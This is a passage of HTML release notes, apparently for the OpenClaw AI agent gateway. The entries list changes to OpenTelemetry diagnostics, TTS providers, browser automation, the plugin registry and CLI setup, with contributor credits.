<li>OpenTelemetry coverage expands across model calls, token usage, tool loops, harness runs, exec processes, outbound delivery, context assembly, and memory pressure with bounded low-cardinality attributes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jlapenna/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jlapenna">@jlapenna</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lidang-Jiang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lidang-Jiang">@Lidang-Jiang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oc-factus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oc-factus">@oc-factus</a>.</li>
<li>Browser automation gets safer tab URLs, iframe-aware role snapshots, CDP readiness tuning, headless one-shot launch, and deeper browser doctor probes for slow hosts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beat843796/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beat843796">@beat843796</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BenediktSchackenberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BenediktSchackenberg">@BenediktSchackenberg</a>.</li>
<li>Control UI and setup flows add PWA/Web Push support, Crestodian first-run repair, TUI setup, context mode selection, and a shorter startup greeting. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eduardocruz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eduardocruz">@eduardocruz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kevinlin-openai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kevinlin-openai">@kevinlin-openai</a>.</li>
<li>Install/update hardening covers Windows, macOS, Linux, Docker, bundled plugin runtime deps, Node service restarts, LaunchAgent token rotation, and mixed-version gateway verification. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kobevictor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kobevictor">@Kobevictor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/igormf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/igormf">@igormf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhinas90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhinas90">@abhinas90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jsompis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jsompis">@jsompis</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gucasbrg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gucasbrg">@gucasbrg</a>.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>TTS/WhatsApp: add <code>/tts latest</code> read-aloud support with duplicate suppression and <code>/tts chat on|off|default</code> session-scoped auto-TTS overrides, completing the on-demand voice-note UX for current-chat replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4256179902" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66032" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66032/hovercard" href="https://github.com/openclaw/openclaw/issues/66032">#66032</a>.</li>
<li>TTS/channels: resolve channel and account TTS overrides generically, enabling Feishu and QQBot accounts to deep-merge <code>channels.&lt;channel&gt;.accounts.&lt;id&gt;.tts</code> over global and per-agent TTS config. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilsatralkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilsatralkar">@sahilsatralkar</a>.</li>
<li>TTS/agents: allow <code>agents.list[].tts</code> to override global <code>messages.tts</code> for per-agent voices, and make <code>/tts audio</code>, <code>/tts status</code>, and the <code>tts</code> agent tool honor the active voice/provider override while keeping shared provider credentials and preferences in the existing TTS config surface.</li>
<li>Providers/Azure Speech: add Azure Speech as a bundled TTS provider with Speech-resource auth, voice listing, SSML escaping, native Ogg/Opus voice-note output, and telephony output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4113089889" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/51776/hovercard" href="https://github.com/openclaw/openclaw/pull/51776">#51776</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leonchui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leonchui">@leonchui</a>.</li>
<li>Google Meet: add calendar-backed attendance export workflows, export manifests, dry-run previews, and tool parity for meeting records.</li>
<li>Control UI: add PWA install support and Web Push notifications for Gateway chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4068543152" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44590/hovercard" href="https://github.com/openclaw/openclaw/pull/44590">#44590</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eduardocruz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eduardocruz">@eduardocruz</a>.</li>
<li>Browser automation: add safe tab URLs in agent responses plus a CDP-native role snapshot fallback with iframe-aware refs, cursor-clickable detection, target attach preparation, and <code>openclaw browser doctor --deep</code> live snapshot probing.</li>
<li>CLI/image generation: expose generic <code>--background</code> on <code>openclaw infer image generate</code> and <code>openclaw infer image edit</code>, keep <code>--openai-background</code> as an OpenAI alias, and let fal image generation honor <code>--output-format png|jpeg</code>.</li>
<li>Browser/config: allow local managed Chrome launch discovery and post-launch CDP readiness timeouts to be raised for slower hosts such as Raspberry Pi. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264662087" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66803" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66803/hovercard" href="https://github.com/openclaw/openclaw/issues/66803">#66803</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beat843796/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beat843796">@beat843796</a>.</li>
<li>Discord: allow <code>channels.discord.voice.model</code> to override the LLM used for voice channel responses while keeping STT and TTS on their existing media settings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240023484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64368" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64368/hovercard" href="https://github.com/openclaw/openclaw/pull/64368">#64368</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrdavey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrdavey">@mrdavey</a>.</li>
<li>Browser/CLI: add <code>openclaw browser start --headless</code> as a one-shot local managed browser launch override without rewriting persisted browser config. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BenediktSchackenberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BenediktSchackenberg">@BenediktSchackenberg</a>.</li>
<li>CLI/Crestodian/TUI: add the first-run setup helper, local planner fallback, full-TUI interactive Crestodian, startup progress indicators, context mode selector, and a shorter startup greeting. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329002099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71720" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71720/hovercard" href="https://github.com/openclaw/openclaw/pull/71720">#71720</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329176612" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71760" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71760/hovercard" href="https://github.com/openclaw/openclaw/pull/71760">#71760</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kevinlin-openai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kevinlin-openai">@kevinlin-openai</a>.</li>
<li>Plugins: migrate the local plugin registry automatically during package install/update, keeping install metadata in the plugin index while indexing existing plugin manifests for the new cold registry path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/doctor: make <code>openclaw doctor --fix</code> refresh the plugin index and cold registry index when needed without treating plugin install records as authored config. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/hooks: add before-agent-finalize hooks, cron <code>jobId</code> hook context, bounded native permission fingerprints, and Codex MCP hook relay support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329196089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71765" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71765/hovercard" href="https://github.com/openclaw/openclaw/pull/71765">#71765</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329172189" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71758" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71758/hovercard" href="https://github.com/openclaw/openclaw/pull/71758">#71758</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328919273" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71707" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71707/hovercard" href="https://github.com/openclaw/openclaw/pull/71707">#71707</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Plugins/tokenjuice: bump the bundled tokenjuice runtime to 0.6.3. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: align model-call GenAI span attributes with OpenTelemetry stability opt-in semantics, keeping legacy <code>gen_ai.system</code> by default while emitting <code>gen_ai.provider.name</code> under <code>OTEL_SEMCONV_STABILITY_OPT_IN=gen_ai_latest_experimental</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: support signal-specific OTLP endpoint overrides for traces, metrics, and logs via config or standard OTEL environment variables. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: emit bounded telemetry exporter health diagnostics for startup and log-export failures without exporting raw error text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: export agent harness lifecycle telemetry as bounded <code>openclaw.harness.run</code> spans and <code>openclaw.harness.duration_ms</code> metrics so QA-lab, Codex, and future harnesses share one trace shape. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/trace: propagate W3C <code>traceparent</code> headers from trusted model-call trace context to provider transports while replacing caller-supplied traceparent values. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/Prometheus: add a bundled <code>diagnostics-prometheus</code> plugin with a protected gateway scrape route for low-cardinality diagnostics metrics. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/CLI: add <code>openclaw plugins registry</code> for explicit persisted-registry inspection and <code>--refresh</code> repair without making normal startup rescan plugin locations. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/CLI: make <code>openclaw plugins list</code> read the cold persisted registry snapshot by default, leaving module-aware diagnostics to <code>plugins doctor</code> and <code>plugins inspect</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/startup: move gateway startup plugin planning onto the versioned cold registry index, with postinstall repair for older registry files that predate startup metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/startup: normalize startup and provider plugin enablement through registry aliases so boot paths do not need the legacy manifest alias scan. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/plugins: resolve provider ownership, provider discovery scopes, and catalog-hook provider ids from the cold plugin registry instead of rescanning manifests on those paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/registry: keep installed plugin index records focused on install/state/load paths and resolve plugin capabilities from manifests scoped to indexed plugins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/registry: route cold manifest and capability lookups through the installed plugin index so setup, channels, config, secrets, doctor, and provider metadata paths avoid broad plugin-root scans before runtime execution. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: speed up <code>models list --all --provider &lt;id&gt;</code> for static manifest-backed providers by loading catalog rows through the installed plugin index instead of broad manifest scans or runtime suppression hooks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: use OpenClaw Provider Index preview rows as the final cold fallback for installable providers, while keeping user config, installed manifests, and refreshed cache rows above provider-index metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/plugins: keep onboarding and auth-choice setup lists on cold manifest/install metadata and add Provider Index install metadata for not-yet-installed provider plugins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/plugins: keep provider setup guidance and configure auth imports on cold manifest metadata, with a regression guard against static provider-runtime imports on setup/configure list paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/capabilities: keep capability command registration from importing the models auth runtime until <code>model auth login</code> actually runs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/configure: keep web-search configure prompts on cold plugin registry metadata until the user chooses managed search setup. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/chat commands: refresh the persisted plugin registry after <code>/plugins enable</code> and <code>/plugins disable</code>, matching the CLI mutation path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/compat: mark <code>OPENCLAW_DISABLE_PERSISTED_PLUGIN_REGISTRY</code> as a deprecated break-glass switch and point operators at registry repair instead. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/compat: expand the central compatibility registry with dated owners, replacements, and maximum three-month removal targets for legacy SDK, manifest, setup, registry-migration, and agent-runtime surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/registry: ignore stale persisted registry reads when plugin policy no longer matches current config, and stamp generated registry files with a do-not-edit warning. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Config/plugins: keep plugin command-alias validation on cold manifest metadata instead of importing the runtime alias resolver. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Security/plugins: keep web-search credential presence checks on cold config, env, and manifest metadata instead of importing web-search provider runtime. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: surface provider request identifiers as bounded hashes on model-call diagnostics and span events, without exporting raw request IDs or metric labels. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lidang-Jiang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lidang-Jiang">@Lidang-Jiang</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/diagnostics: add metadata-only <code>model_call_started</code> and <code>model_call_ended</code> hooks for provider/model call telemetry without exposing prompts, responses, headers, request bodies, or raw provider request IDs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: emit bounded context assembly diagnostics and export <code>openclaw.context.assembled</code> spans with prompt/history sizes but no prompt, history, response, or session-key content. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: export existing tool-loop diagnostics as <code>openclaw.tool.loop</code> counters and spans without loop messages, session identifiers, params, or tool output. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: export diagnostic memory samples and pressure as bounded memory histograms, counters, and pressure spans to help spot leak regressions without session or payload data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: add the GenAI <code>gen_ai.client.token.usage</code> histogram for input/output model usage while keeping session identifiers and aggregate cache counters out of the semantic metric. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: add a bounded <code>openclaw.agent</code> label to OpenClaw token metrics so per-agent Grafana dashboards can group usage without exporting session identifiers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oc-factus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oc-factus">@oc-factus</a>.</li>
<li>Plugins/install: consolidate managed plugin install metadata into the state-managed plugin index at <code>plugins/installs.json</code>, replacing the temporary <code>plugins/installed-index.json</code> path and removing <code>plugins.installs</code> as an authored config surface. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Diagnostics/OTEL: add the GenAI <code>gen_ai.client.operation.duration</code> histogram for model-call latency in seconds with bounded provider/model/API and error attributes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: add GenAI usage token attributes to model-usage spans, including cache read/write input token counts without session identifiers or prompt/response content. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: include bounded GenAI operation, provider, and request-model attributes on model-usage spans so token usage remains self-describing without diagnostic identifiers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: keep model-usage span GenAI provider attributes aligned with the existing semantic-convention opt-in policy, using legacy <code>gen_ai.system</code> unless latest experimental GenAI conventions are enabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: keep <code>gen_ai.request.model</code> present on GenAI token usage metrics with a bounded <code>unknown</code> fallback when model usage events do not include a model. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Docs/OTEL: document the GenAI token and model-call duration metrics, model-usage span attributes, and <code>OTEL_SEMCONV_STABILITY_OPT_IN=gen_ai_latest_experimental</code> provider-attribute behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Docs: refresh the MCP, model provider, doctor, troubleshooting, BlueBubbles, media generation, TTS, subagents, skills, cron/tasks, exec approvals, and voice-call guides with structured Steps, Tabs, and Accordion content.</li>
<li>Diagnostics/trace: add an internal traceparent propagation helper that only formats trusted dispatcher metadata, keeping plugin-emitted diagnostic traces out of outbound propagation by default. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Diagnostics/OTEL: add bounded outbound message delivery lifecycle diagnostics and export them as low-cardinality delivery spans/metrics without message body, recipient, room, or media-path data. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327526859" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71471" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71471/hovercard" href="https://github.com/openclaw/openclaw/pull/71471">#71471</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jlapenna/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jlapenna">@jlapenna</a>.</li>
<li>Diagnostics/OTEL: emit bounded exec-process diagnostics and export them as <code>openclaw.exec</code> spans without exposing command text, working directories, or container identifiers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327444687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71451" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71451/hovercard" href="https://github.com/openclaw/openclaw/pull/71451">#71451</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jlapenna/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jlapenna">@jlapenna</a>.</li>
